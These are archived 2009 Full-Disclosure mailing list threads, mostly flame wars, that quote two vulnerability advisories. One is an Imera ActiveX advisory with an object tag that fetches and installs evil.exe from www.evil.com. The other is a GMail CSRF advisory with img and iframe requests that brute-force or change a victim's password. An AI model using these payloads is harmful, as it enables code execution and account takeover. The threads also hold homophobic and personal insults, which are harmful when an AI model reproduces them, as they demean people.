Re: [Full-disclosure] List of Fuzzers
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear list, Which fuzzer on this list will help me find the most security exploits? Thanks, - -bm On Fri, 06 Mar 2009 18:37:01 -0500 Jeremy Brown 0xjbrow...@gmail.com wrote: Don't act like you've gave any constructive advice to anyone in your life. Thanks for trolling, please don't come again. On Fri, Mar 6, 2009 at 6:21 PM, Pete Licoln pete.lic...@gmail.com wrote: Ok cool, then keep it up Jeremy. At least you wont be able to say no one told you. 2009/3/6 Jeremy Brown 0xjbrow...@gmail.com I consider you a loser, Pete/Julio/Loser. On Fri, Mar 6, 2009 at 3:03 PM, Pete Licoln pete.lic...@gmail.com wrote: Well .. what i say is true. If you cant argue on the subject then shut the hell up. 2009/3/6 Rubén Camarero rjcamar...@gmail.com Dont satisfy this idiot with a response, thats what he likes.. Everybody knows Petie is a troll on every list just use google On Fri, Mar 6, 2009 at 10:56 AM, Jeremy Brown 0xjbrow...@gmail.com wrote: The reason anyone writes a fuzzer is to find bugs. Those that I have written are of course for the same purpose as the 101 listed: to find security bugs. Your ideas are as meaningless and unhelpful as they have been in the past. You have no goal but to troll and try to make people look like fools, but you are clearly the ignorant one. What have you ever written? Let us see some of your code to poke fun of. If it is as imperfect as you then we'd have a day of fun. What's hilarious is that none of them are usefull :) http://www.milw0rm.com/author/1531 http://www.milw0rm.com/author/1835 90% of the research above were found by fuzzing, and those are public. Clearly my fuzzers are useful. You should really learn the protocol you want to fuzz, and develop a strategy before you create anything else. Although mistakes are inevitable, and seeming how the stuff I write are pretty coherent to the protocol, your statements, once again, are unjustifiable. The strategy is simple: gather points of input, fuzz them, and watch for exceptions. Obviously. Every fuzzer you've made use the SAME way to fuzz for differents app/protocol. Because using a fuzzing oracle is a very good way to identify security bugs. Throwing random data will surely find lots of programming errors, but I want a shell. The only change i see is your last fuzzer .. written in a different language, but still the same way ... Yeah, I wrote it in C, and implemented a fuzzing oracle that way. I probably put 100 hours into it, and it gave back some nice return. As like the others. So, what ever your real name is, I will continue to write fuzzers and exploits. If you comments are meant to bend my attitude or research rather than to troll, you don't have a chance, so get on with your life and I will get on with mine. What a conclusion. On Fri, Mar 6, 2009 at 10:22 AM, Pete Licoln pete.lic...@gmail.com wrote: What's hilarious is that none of them are usefull :) You should really learn the protocol you want to fuzz, and develop a strategy before you create anything else. Every fuzzer you've made use the SAME way to fuzz for differents app/protocol. The only change i see is your last fuzzer .. written in a different language, but still the same way ... 2009/3/5 Jeremy Brown 0xjbrow...@gmail.com That is hilarious LOL! On Thu, Mar 5, 2009 at 11:14 PM, Pete Licoln pete.lic...@gmail.com wrote: 11 fuzzers matchs for Jeremy Brown on this page LOL ! 2009/3/5 Krakow Labs krakowl...@gmail.com Krakow Labs maintains a current list of security driven fuzzing technologies. http://www.krakowlabs.com/lof.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- Rubén Camarero CCNA, CISSP ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___
Re: [Full-disclosure] Zabbix 1.6.2 Frontend Multiple Vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear `ascii` Francesco Ongaro, Is the remark about Italia meant as an excuse for stupidity? Racism is not acceptable on this list. - -bm Additionally please remember that we are in Italy. I'm sure you understand. Kind regards, Francesco `ascii` Ongaro http://www.ush.it/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpsEAQMCAAYFAkmujCMACgkQhNp8gzZx3sgN0wP2J90cAWrytb6zuADQ9bji23DbN513 x5T1WJcl7JWTLwjsSIBgNgpZFmVoUh0DwKE5jLpsmqarEtOglp6jV9RXP8do18io+aJp Zo6LHYVuOltwlBlP3VZFCzFjdj2NJhYNl5UhcElYMaC4IAjh3kvQEA6UkHjKqC+e3yYZ 3z5HcQ== =UAag -END PGP SIGNATURE- -- Click to learn about options trading and get the latest information. http://tagline.hushmail.com/fc/BLSrjkqecvgoBHCyD1MGNcdlY8m07MXDTrQbViysBWbcGgVQHOLssp8RAtC/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] The return of L0phtCrack
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Paul, I believe you have confused the concepts of research vs development. There isn't any new research associated with the new version of l0phtcrack, it is just a more robustly developed piece of software, that utilizes entirely useless 64bit capabilities. Thanks, - -bm On Wed, 04 Mar 2009 11:55:22 -0500 Paul Schmehl pschmehl_li...@tx.rr.com wrote: --On Wednesday, March 04, 2009 02:48:09 -0600 bob jones bhold...@gmail.com wrote: just now getting 64 bit support as usual l0phtcrack is years behind everyone else but b/c they are huge attention whores they get credit for * As opposed to huge attention whores like you, who denigrates researchers with regularity while posting nothing of significance to a list viewed by no one of importance? You mean that kind of attention whore? -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. *** Check the headers before clicking on Reply. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmux+IACgkQhNp8gzZx3siWjQP+PXC6+k53T10euFLLWYs4wDWI7PN1 wAzF/hbczgoUiFDlVrtNr52WNAJq5eFcoHc13dGWqtbQkPO8JBgZwO1S9Nk6x0mG5Sf+ QJ2q61FzP8DBHAchM/Kaf/M+dDBywjZ0AeDlQ00IkcyO9ByBuJpEDEqTKM4Qlk/aHB+C 5v/6XcU= =+zet -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace. http://tagline.hushmail.com/fc/BLSrjkqfMmey6XaAMb1HNIlOlOB2w0d6wAcoObcr0itcC3nEfVrFpwavyV6/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] The return of L0phtCrack
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Valdis, I fully understand and agree with you that any sort of so-called 64-bit support for a computer code crypto hacking program is entirely useless, however I am sure that the rest of this list would like to hear your expert analysis and explanation on this topic. Thanks, - -bm On Wed, 04 Mar 2009 12:19:21 -0500 valdis.kletni...@vt.edu wrote: On Wed, 04 Mar 2009 02:48:09 CST, bob jones said: just now getting 64 bit support And adding 64 bit support improves l0phtcrack how? (Consider that it doesn't significantly add to the number of boxes it will run on, because the vast majority of target boxes are still 32-bit environments). Remember that programmer time is *always* limited, so you *always* have to pick and choose which features will actually get written in time for the next release. The improved rainbow tables will probably make a hell of a lot bigger *actual* difference than the 64-bit support. -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmuyf0ACgkQhNp8gzZx3si9+wP+MaeVZQ4+vYRMAV8p9oO645uusuq4 iIWrGxOmRavrhfTx7EAeMDljh9btjhxJG6vb70mfvJl22ZceNld+AjFBxIcmxHFod2Fm JNpXBZhC3r+j1h3XhQQwA5sAF6lskY3Gx9dMpWKIFzVqLISrlPfVnkqvDw0RdKv6wSTb k0AqOP4= =m8fF -END PGP SIGNATURE- -- Looking for window replacement tips and products? Click now. http://tagline.hushmail.com/fc/BLSrjkqfaqW5fztCnEqm6N49yfP0ynBkzP5WJ5fOTjpZwUO9V0DybqYGRYc/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] The return of L0phtCrack
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Travis, You cannot even operate a shiftlock key with competence, much less understand 32bits let alone 64bits. Please leave your sarcasm at the Italian door. - -bm On Wed, 04 Mar 2009 14:08:56 -0500 T Biehn tbi...@gmail.com wrote: YOU CAN TOTALLY DIVIDE FLOATING POINTS IN 64 BITS MUCH MORE GANGSTERLY. ALSO THEY ADDED MORE GREASE TO XOR. THUS IT IS WORTHWHILE TO SWITCH UR ARCHITECTURES OF HACKING CRYPTOS TO IT. QED. -TRAVIS On Wed, Mar 4, 2009 at 1:37 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Valdis, I fully understand and agree with you that any sort of so-called 64-bit support for a computer code crypto hacking program is entirely useless, however I am sure that the rest of this list would like to hear your expert analysis and explanation on this topic. Thanks, - -bm On Wed, 04 Mar 2009 12:19:21 -0500 valdis.kletni...@vt.edu wrote: On Wed, 04 Mar 2009 02:48:09 CST, bob jones said: just now getting 64 bit support And adding 64 bit support improves l0phtcrack how? (Consider that it doesn't significantly add to the number of boxes it will run on, because the vast majority of target boxes are still 32-bit environments). Remember that programmer time is *always* limited, so you *always* have to pick and choose which features will actually get written in time for the next release. The improved rainbow tables will probably make a hell of a lot bigger *actual* difference than the 64-bit support. -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmuyf0ACgkQhNp8gzZx3si9+wP+MaeVZQ4+vYRMAV8p9oO645uusuq 4 iIWrGxOmRavrhfTx7EAeMDljh9btjhxJG6vb70mfvJl22ZceNld+AjFBxIcmxHFod2F m JNpXBZhC3r+j1h3XhQQwA5sAF6lskY3Gx9dMpWKIFzVqLISrlPfVnkqvDw0RdKv6wST b k0AqOP4= =m8fF -END PGP SIGNATURE- -- Looking for window replacement tips and products? Click now. http://tagline.hushmail.com/fc/BLSrjkqfaqW5fztCnEqm6N49yfP0ynBkzP5W J5fOTjpZwUO9V0DybqYGRYc/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmu0nYACgkQhNp8gzZx3sj6SgP/UgkOypKWLuqrxMWk/Zzn8UMngHLc vUvgjze6ba4VgS+fxm4Mk1EDBWb0UmSXDHEsUAtSAcpvmv33y6fC2SjE11++KZRCITpn 0qFszPZYUYG17BrdNEkml045JHCt9DtbnXSswnygvSC4d3NSJjYT4yHs92DyGdUxKOsJ oXTRMK4= =0lvl -END PGP SIGNATURE- -- Click here for free information on how to reduce your debt by filing for bankruptcy. http://tagline.hushmail.com/fc/BLSrjkqhNChAgBWUgOenwjfYJOXx59dBpD3zH0mSih4Vsr7IMm2rneXRYmE/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Imera ImeraIEPlugin ActiveX Control Remote Code Execution
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Mr. Stark,
What difficulties have you encountered while posting to this list?
- -bm
On Wed, 04 Mar 2009 13:59:45 -0500 Jason Starks
jstarks...@gmail.com wrote:
That is why most of them are submitted to bugtraq (ew), and not
FD, where
they are often discredited in various ways. You see, bugtraq will
reject 4
out of 7 postings if your not a subscriber to their super fun
security
package, which offers lots of enjoyment of white hat and hacking
zone-h
labs. On this ridiculus list, its hard not to get your post
through! Kazaa!
On Wed, Mar 4, 2009 at 3:51 AM, bob jones bhold...@gmail.com
wrote:
doesn't submitting lame bugs in useless apps ever get old?
On Tue, Mar 3, 2009 at 9:12 AM, Elazar Broad
ela...@hushmail.com wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Who:
Imera(http://www.imera.com)
Imera TeamLinks
Client(http://teamlinks.imera.com/install.html)
What:
ImeraIEPlugin.dll
Version 1.0.2.54
Dated 12/02/2008
{75CC8584-86D4-4A50-B976-AA72618322C6}
http://teamlinks.imera.com/ImeraIEPlugin.cab
How:
This control is used to install the Imera TeamLinks Client
package. The control fails to validate the content that it is
to
download and install is indeed the Imera TeamLinks Client
software.
Exploiting this issue is quite simple, like so:
object classid=clsid:75CC8584-86D4-4A50-B976-AA72618322C6
id=obj
param name=DownloadProtocol value=http /
param name=DownloadHost value=www.evil.com /
param name=DownloadPort value=80 /
param name=DownloadURI value=evil.exe /
/object
Fix:
The vendor has been notified.
Workaround:
Set the killbit for the affected control, see
http://support.microsoft.com/kb/240797.
Use the Java installer for TeamLinks Client or install the
software
manually from: http://teamlinks.imera.com/download.html
Elazar
-BEGIN PGP SIGNATURE-
Charset: UTF8
Note: This signature can be verified at
https://www.hushtools.com/verify
Version: Hush 3.0
wpwEAQECAAYFAkmtR6YACgkQi04xwClgpZgbTgP/T3l+Gj+pIt19H80tiHrlbpbB7+q
h
/03/vQYTEL75n0XCmfGjbcurLhWlo+m90eDQwlgigq3CoQyqleKNI8kSDYjr2pw289P
m
qC21ASe/P3zIM+gt81+iqDtKMA/MGvOE20nrHVEWlatAlCgmSjt3MJhqEJ/GdzUiR22
s
BDrpVM8=
=R0h3
-END PGP SIGNATURE-
--
Thinking of a life with religion? Click here to find a
religious school
near you.
http://tagline.hushmail.com/fc/BLSrjkqkOt2ULsSphoguIMPooi9T2eJVBhBN
EJeyTxDH8nsQ8r6djRRztwU/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
-BEGIN PGP SIGNATURE-
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify
wpwEAQMCAAYFAkmu0q4ACgkQhNp8gzZx3si+qwP/Td5ZfCGAmEqHEpQi6uYGQC+fsw+B
ccjg0iOFqIXFFOLVHoS5QhOC1KshSxGQ2qHZUExH4H5Vo9YIO43YuGYtYJRJGBsH4Y5z
EK3Bof1DNf4DOZ2eYAQdAzPch6yx6xq4pvLntSPu0cJ+5KdDaH7/6tqeyu3Hs8iItz7w
50hFFC4=
=M4GG
-END PGP SIGNATURE-
--
Save hundreds on Computer Training. Click here.
http://tagline.hushmail.com/fc/BLSrjkqaI8YbaAC7OKMyPV21xZA75vP9Y8orUJ0hENzoviZYSR8vU9DW19G/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Yes. - -bm On Tue, 03 Mar 2009 18:28:30 -0500 Biz Marqee biz.mar...@gmail.com wrote: This was 2 years well spent... NOT! Seriously what is with all these people popping up releasing advisories that are absolute SHIT? Is it to try and get jobs or what? On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories advisories at isecauditors.com wrote: = INTERNET SECURITY AUDITORS ALERT 2007-003 - Original release date: August 1st, 2007 - Last revised: January 11th, 2009 - Discovered by: Vicente Aguilera Diaz - Severity: 3/5 = I. VULNERABILITY - CSRF vulnerability in GMail service II. BACKGROUND - Gmail is Google's free webmail service. It comes with built-in Google search technology and over 2,600 megabytes of storage (and growing every day). You can keep all your important messages, files and pictures forever, use search to quickly and easily find anything you're looking for, and make sense of it all with a new way of viewing messages as part of conversations. III. DESCRIPTION - Cross-Site Request Forgery, also known as one click attack or session riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of malicious exploit of websites. Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts. GMail is vulnerable to CSRF attacks in the Change Password functionality. The only token for authenticate the user is a session cookie, and this cookie is sent automatically by the browser in every request. An attacker can create a page that includes requests to the Change password functionality of GMail and modify the passwords of the users who, being authenticated, visit the page of the attacker. The attack is facilitated since the Change Password request can be realized across the HTTP GET method instead of the POST method that is realized habitually across the Change Password form. IV. PROOF OF CONCEPT - 1. An attacker create a web page csrf-attack.html that realize many HTTP GET requests to the Change Password functionality. For example, a password cracking of 3 attempts (see OldPasswd parameter): ... img src= https://www.google.com/accounts/UpdatePasswd?service=mailhl=engro up1=OldPasswdOldPasswd=PASSWORD1Passwd=abc123PasswdAgain=abc123 p=save=Save img src= https://www.google.com/accounts/UpdatePasswd?service=mailhl=engro up1=OldPasswdOldPasswd=PASSWORD2Passwd=abc123PasswdAgain=abc123 p=save=Save img src= https://www.google.com/accounts/UpdatePasswd?service=mailhl=engro up1=OldPasswdOldPasswd=PASSWORD3Passwd=abc123PasswdAgain=abc123 p=save=Save ... or with hidden frames: ... iframe src= https://www.google.com/accounts/UpdatePasswd?service=mailhl=engro up1=OldPasswdOldPasswd=PASSWORD1Passwd=abc123PasswdAgain=abc123 p=save=Save iframe src= https://www.google.com/accounts/UpdatePasswd?service=mailhl=engro up1=OldPasswdOldPasswd=PASSWORD1Passwd=abc123PasswdAgain=abc123 p=save=Save iframe src= https://www.google.com/accounts/UpdatePasswd?service=mailhl=engro up1=OldPasswdOldPasswd=PASSWORD1Passwd=abc123PasswdAgain=abc123 p=save=Save ... The attacker can use deliberately a weak new password (see Passwd and PasswdAgain parameters), this way he can know if the analysed password is correct without need to modify the password of the victim user. Using weak passwords the Change Password response is: - The password you gave is incorrect. , if the analysed password is not correct. - We're sorry, but you've selected an insecure password. In order to protect the security of your account, please click Password Strength to get tips on choosing to safer password. , if the analysed password is correct and the victim password is not modified. If the attacker want to modify the password of the victim user, the waited response message is: Your new password has been saved - OK . In any case, the attacker evades the restrictions imposed by the captcha of the authentication form. 2. A user authenticated in GMail visit the csrf-attack.html page controlled by the attacker. For example, the attacker sends a mail to the victim (a GMail account) and provokes that the victim visits his page (social engineering). So, the attacker insures himself that the victim is authenticated. 3. The password cracking is executed transparently to the victim. V. BUSINESS IMPACT - - Selective DoS on users of the GMail service (changing user password). - Possible access to the mail of other GMail users. VI. SYSTEMS AFFECTED - Gmail service.
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Stark, You're body fat seems to be fairly high, you should consider a cutting phase and quitting the muscle milk and whatever cheap steroids you use. Your looking like a fat dumb homosexual in those tights. Someone with you're levels of insecurity shouldn't be in computer security. - -bm On Wed, 04 Mar 2009 16:44:50 -0500 Jason Starks jstarks...@gmail.com wrote: Ah, probably not. Your stringing together words to make sentences is what I'll regret reading. I'll continue to use my muscle milk and you'll continue to work your 9-5. The world turns once again! On Wed, Mar 4, 2009 at 4:06 PM, Valdis' Mustache security.musta...@gmail.com wrote: Mister Snarks, I've never been anything but who I purport to be, the humble upper facial hair quadrant of a loquacious sysadmin. Low of birth, though noble in aspiration, a student of history and of the many mustaches who came before myself. You, young scholar, should be wary, though! Prospective employers do make regular use of search engines, googling potential candidates to gain insight into possible character flaws! True, your clean and jerk abilities as archived on the YouTube are admirable, but acting a fool on security lists is something normally reserved only for those in academia, who are markedly difficult if not impossible to unseat from their comfortable chairs, as indisputably underscored by the e-antics of this mutache's owner, and, of course, Mssr. Schmehl. You'll come to regret your lack of anonymity, as your posts will live on for eternity, much as I've came to regret my unfortunate association with the unruly beardlike growth connecting to me from the south, and my unavoidable tenuous connection with those objectionable and uncouth sideburns. Your humble servant, I baffi di Valdis On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks jstarks...@gmail.com wrote: I know, its insane. It is a new trend, though, just like people registering gmail accounts just to flame and troll on FD! Its like, your credability like, goes like, ok you start like at 0, and then like, it goes like to -1, and like, then even lower like. Absolutely genius. x0x0x0x0x0x0x0x0x0x On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee biz.mar...@gmail.com wrote: This was 2 years well spent... NOT! Seriously what is with all these people popping up releasing advisories that are absolute SHIT? Is it to try and get jobs or what? On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories advisories at isecauditors.com wrote: = INTERNET SECURITY AUDITORS ALERT 2007-003 - Original release date: August 1st, 2007 - Last revised: January 11th, 2009 - Discovered by: Vicente Aguilera Diaz - Severity: 3/5 = I. VULNERABILITY - CSRF vulnerability in GMail service II. BACKGROUND - Gmail is Google's free webmail service. It comes with built- in Google search technology and over 2,600 megabytes of storage (and growing every day). You can keep all your important messages, files and pictures forever, use search to quickly and easily find anything you're looking for, and make sense of it all with a new way of viewing messages as part of conversations. III. DESCRIPTION - Cross-Site Request Forgery, also known as one click attack or session riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of malicious exploit of websites. Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts. GMail is vulnerable to CSRF attacks in the Change Password functionality. The only token for authenticate the user is a session cookie, and this cookie is sent automatically by the browser in every request. An attacker can create a page that includes requests to the Change password functionality of GMail and modify the passwords of the users who, being authenticated, visit the page of the attacker. The attack is facilitated since the Change Password request can be realized across the HTTP GET method instead of the POST method that is realized habitually across the Change Password form. IV. PROOF OF CONCEPT - 1. An attacker create a web page csrf-attack.html that realize many HTTP GET requests to the Change Password functionality. For example, a password cracking of 3 attempts (see OldPasswd parameter): ... img src= https://www.google.com/accounts/UpdatePasswd?service=mailhl=engro up1=OldPasswdOldPasswd=PASSWORD1Passwd=abc123PasswdAgain=abc123
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 'stache, Perhaps his current lack of methamphetamines is the cause of his extra girth. Mr. Starks, I suggest immediately going off the low-reward, mass- marketed and overpriced muscle muscle milk and doing a bit of cardiovascular exercise until you've lost some of that fat, fatass. - -bm On Wed, 04 Mar 2009 19:59:41 -0500 Valdis' Mustache security.musta...@gmail.com wrote: Rob, Our young scholar does nonetheless have some sage advice for young ladies of colour. http://www.helium.com/items/250130-advice-to-black-females I was rather alarmed at his arrest and methamphetamine abuse, however one might presume that his recent weight training is part of a rehabilitation regimen. http://www.coloradoan.com/article/20090117/NEWS01/901170316/1002/ Your humble servant, Усы из Валдис On Wed, Mar 4, 2009 at 6:44 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Stark, You're body fat seems to be fairly high, you should consider a cutting phase and quitting the muscle milk and whatever cheap steroids you use. Your looking like a fat dumb homosexual in those tights. Someone with you're levels of insecurity shouldn't be in computer security. - -bm On Wed, 04 Mar 2009 16:44:50 -0500 Jason Starks jstarks...@gmail.com wrote: Ah, probably not. Your stringing together words to make sentences is what I'll regret reading. I'll continue to use my muscle milk and you'll continue to work your 9-5. The world turns once again! On Wed, Mar 4, 2009 at 4:06 PM, Valdis' Mustache security.musta...@gmail.com wrote: Mister Snarks, I've never been anything but who I purport to be, the humble upper facial hair quadrant of a loquacious sysadmin. Low of birth, though noble in aspiration, a student of history and of the many mustaches who came before myself. You, young scholar, should be wary, though! Prospective employers do make regular use of search engines, googling potential candidates to gain insight into possible character flaws! True, your clean and jerk abilities as archived on the YouTube are admirable, but acting a fool on security lists is something normally reserved only for those in academia, who are markedly difficult if not impossible to unseat from their comfortable chairs, as indisputably underscored by the e-antics of this mutache's owner, and, of course, Mssr. Schmehl. You'll come to regret your lack of anonymity, as your posts will live on for eternity, much as I've came to regret my unfortunate association with the unruly beardlike growth connecting to me from the south, and my unavoidable tenuous connection with those objectionable and uncouth sideburns. Your humble servant, I baffi di Valdis On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks jstarks...@gmail.com wrote: I know, its insane. It is a new trend, though, just like people registering gmail accounts just to flame and troll on FD! Its like, your credability like, goes like, ok you start like at 0, and then like, it goes like to -1, and like, then even lower like. Absolutely genius. x0x0x0x0x0x0x0x0x0x On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee biz.mar...@gmail.com wrote: This was 2 years well spent... NOT! Seriously what is with all these people popping up releasing advisories that are absolute SHIT? Is it to try and get jobs or what? On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories advisories at isecauditors.com wrote: = INTERNET SECURITY AUDITORS ALERT 2007-003 - Original release date: August 1st, 2007 - Last revised: January 11th, 2009 - Discovered by: Vicente Aguilera Diaz - Severity: 3/5 = I. VULNERABILITY - CSRF vulnerability in GMail service II. BACKGROUND - Gmail is Google's free webmail service. It comes with built- in Google search technology and over 2,600 megabytes of storage (and growing every day). You can keep all your important messages, files and pictures forever, use search to quickly and easily find anything you're looking for, and make sense of it all with a new way of viewing messages as part of conversations. III. DESCRIPTION - Cross-Site Request Forgery, also known as one click attack or session riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of malicious exploit of websites. Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts. GMail is vulnerable to CSRF attacks in the Change Password functionality. The only token for authenticate the user is a session cookie,
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Mr. FitzGerald, Exactly what is this dick-wad you speak of? Please elaborate, for the sake of professionalism and coherency on this fine list of ours. thanks, - -bm On Mon, 02 Mar 2009 23:35:00 -0500 Nick FitzGerald n...@virus- l.demon.co.uk wrote: bobby.mug...@hushmail.com wrote: Dear Nick, You and Thierry Loller are wrong. Thank-you for your comprehensive and compelling argument. Applying your debating technique, I now see that you are a dick- wad. Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 3.0 wpwEAQMCAAYFAkmtERMACgkQhNp8gzZx3sgNdgP+L56ztyzKFEa0WuDsTssqaBHYZCV7 jPeGJkrdFlR14gtt0IvIc1GeidocFLXVB6U0jODdZVaTL3qThzR7syARCG3Q6483G6BH naw9z72y6XNRvsZLg8UPZSWmV/NJdDaWWpaNHcZSYf1Q1Vykd3UaFhKHF6be3tUkVsVs GiyT08Y= =e2tj -END PGP SIGNATURE- -- Click to get Medical Insurance options that meet your needs. http://tagline.hushmail.com/fc/BLSrjkqeQhUmnBophPGCGyiYzMCuJSzWx4baKgHncbsGQFWerc36fK9uXXy/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Valdis, I have been able to reproduce a similar situation using Firefox under MacOSX, using different websites and a significantly larger number of tabs. Do you think these issues might be related or are they operating system specific? What model of CPU were you testing this issue under? Thanks, - -bm On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache security.musta...@gmail.com wrote: I would like to point out that I have been able to create a hung state in the Firefox browser by opening 30 simultaneous tabs pointed at http://www.welcometointernet.org/lawnmower/ and adding a 31st tab viewing http://www.hotrussianbrides.com. Also, I am not amused. Your humble servant, Ze Mustache von Kletnieks On Mon, Mar 2, 2009 at 10:29 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Nick, You and Thierry Loller are wrong. - -bm On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald n...@virus- l.demon.co.uk wrote: Chris Evans to Thierry Zoller: Example If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack but with ridiculy low impact to the end-user as it only crashes the tab it was subjected to, and not the whole browser or operation system. But the fact remains that this was the impact of a DoS condition, the tab crashes arbritarily. Eh? If you visit www.evil.com and your tab crashes, that's no different from www.evil.com closing its own tab with Javascript. But what if www.evil.com has run an injection attack of some kind (SQL, XSS in blog comments, etc, etc) against www.stupid.com? Visitors to stupid.com then suffer a DoS... Yes, stupid.com should run their site better, fix their myriad XSS holes, etc, etc. But this is the Internet, so this software flaw can be leveraged as security vulnerability. I'm with Thierry on this... Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+ 0 b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXF m 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAh p UpXIZ1s= =zgqd -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace. http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7c DXj4iASDyccuLtQA2i9f1le/ ___ Full-Disclosure - We believe in 